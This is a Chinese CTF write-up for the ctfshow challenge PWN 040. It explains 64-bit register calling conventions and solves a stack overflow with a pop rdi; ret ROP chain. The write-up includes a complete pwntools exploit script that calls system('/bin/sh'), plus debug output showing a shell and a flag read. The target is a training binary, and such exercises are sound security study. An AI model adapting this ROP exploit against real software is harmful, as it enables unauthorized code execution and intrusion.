本文仅用于技术研究，禁止用于非法用途。
Author:枷锁
在 PWN 039 中，我们学习了 32 位程序如何通过栈构造参数来调用 system("/bin/sh")。 来到 PWN 040，题目提示依然是熟悉的 “Just easy ret2text&&64bit”，但情况有所不同。
虽然题目仍然提供了 system 函数和 /bin/sh 字符串，但由于架构变成了 64位，参数不再直接放在栈上，而是优先存放在寄存器中。这意味着我们不能简单地把参数写在栈里，而是需要寻找特殊的指令片段（Gadgets）来把栈上的数据“弹”进寄存器。
pwn 040 寄存器传参：POP RDI 的艺术
题目信息与环境侦察
题目描述
pwn40:
It has system and '/bin/sh', but they don't work together
Just easy ret2text&&64bit
先运行查看提示
解题过程： 首先使用 checksec 检查程序保护情况。
- Arch: amd64-64-little (64位程序)
- RELRO: Partial RELRO
- Stack: No canary found (无栈哨兵)
- NX: NX enabled (栈不可执行)
- PIE: No PIE (地址固定)
侦察分析：
第一部分：机制详解 —— 64位参数传递与 Gadgets
1. 64位调用约定 (Calling Convention)
在 64 位 Linux 下，函数调用的前 6 个参数依次存放于以下寄存器中：
多余的参数才会放在栈上。
2. 我们的目标
我们要调用 system("/bin/sh")。 根据约定，字符串 "/bin/sh" 的地址必须存放在 RDI 寄存器中。
3. 如何控制 RDI？
我们能控制的只有栈（通过栈溢出）。我们需要找到一段代码（Gadget），它的功能是： 从栈顶弹出一个值，存入 RDI，然后返回。
这条指令就是：
pop rdi ; ret
这就是本题解题的“金钥匙”。
第二部分：代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数：
int __fastcall main(int argc, const char **argv, const char **envp)
{
// … Logo …
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\\nExit");
return 0;
}
漏洞函数 ctfshow：
ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
// [漏洞点]：read 读取 50 字节
// buf 大小仅 10 字节，存在溢出
return read(0, buf, 0x32u);
}
偏移量计算： 根据 IDA 注释 [rbp-Ah]：
- buf 距离 rbp 的偏移是 0xA (10 字节)。
- 64位下 Old RBP 占 8 字节。
- 覆盖返回地址所需长度 = 10 (buf) + 8 (Old RBP) = 18 字节。
2. 寻找拼图零件
题目依然提供了 hint 函数：
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
这为我们提供了 system 的 PLT 地址和 "/bin/sh" 的地址。
第三部分：实战操作与 Payload 构造
1. 寻找 Gadgets
我们需要找到 pop rdi; ret。 使用 ROPgadget 或 pwntools：
ROPgadget –binary pwn –only "pop|ret" | grep rdi
# 输出示例：0x0000000000400833 : pop rdi ; ret
同时，为了防止 64 位 system 调用的 栈对齐问题 (Stack Alignment)（即 movaps 崩溃），我们在调用 system 前最好加一个 ret 指令作为填充。
2. Payload 结构解析
我们需要构造一条 ROP 链 (ROP Chain)，逻辑如下：
内存视角：
+———————-+
| 'a' * 18 (Padding) |
+———————-+
| pop_rdi 的地址 | <– 原始返回地址被覆盖为这里
+———————-+
| /bin/sh 的地址 | <– pop rdi 执行时，栈顶是这个，于是 RDI = /bin/sh
+———————-+
| ret 的地址 | <– pop rdi 里的 ret 执行时，跳到这里 (空转，对齐栈)
+———————-+
| system 的地址 | <– ret 执行时，跳到这里，RDI 依然保持 /bin/sh
+———————-+
3. 完整 EXP 脚本
from pwn import *
# 1. 基础配置
context.log_level = 'debug'
context.arch = 'amd64'
# 2. 建立连接
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28191) # 端口根据实际情况修改
# 3. 加载 ELF 文件
elf = ELF('./pwn')
# 4. 搜集拼图零件
# [零件1] system 函数地址
system_addr = elf.plt['system']
log.success(f"System Address: {hex(system_addr)}")
# [零件2] "/bin/sh" 字符串地址
bin_sh_addr = next(elf.search(b'/bin/sh'))
log.success(f"'/bin/sh' Address: {hex(bin_sh_addr)}")
# [零件3] Gadgets
# 使用 ROP 对象自动查找
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
log.success(f"pop rdi; ret: {hex(pop_rdi)}")
log.success(f"ret: {hex(ret)}")
# 5. 构造 Payload
# 偏移量 = 10 (buf) + 8 (rbp) = 18
offset = 18
# 构造 ROP 链
payload = flat([
b'a' * offset, # 1. 填充溢出
pop_rdi, # 2. 跳转到 pop rdi; ret
bin_sh_addr, # 3. pop rdi 的参数：/bin/sh 放入 RDI
ret, # 4. 栈对齐 (防止 movaps 崩溃)
system_addr # 5. 调用 system
])
# 6. 发送 Payload
io.sendline(payload)
# 7. 获取 Shell
io.interactive()
运行结果
[DEBUG] Sent 0x2a bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 83 07 40 00 00 00 00 00 87 07 40 00 00 00 │aa··│@···│····│@···│
00000020 00 00 09 05 40 00 00 00 00 00 50 05 40 00 00 00 │····│@···│··P·│@···│
00000030 00 00 │··│
[*] Switching to interactive mode
$ cat /ctfshow_flag
ctfshow{…}
总结：PWN 040 的核心逻辑
| 传参方式 | 栈传参 | 寄存器传参 (RDI, RSI…) |
| Payload 结构 | Padding + Func + Ret + Arg | Padding + Gadget + Arg + Func |
| 核心指令 | 无需特殊指令 | pop rdi; ret |
| 栈对齐 | 通常不需要 | 需要 (ret gadget) |
核心启示： 这是大家遇到的第一个真正的 64位 ROP。
- 找 Gadget：这是 64 位 PWN 的基本功。pop rdi 是最常用的 Gadget 之一。
- 理解栈与寄存器的转换：我们通过控制栈上的数据，利用 pop 指令将其“搬运”到寄存器中，从而满足函数的调用约定。
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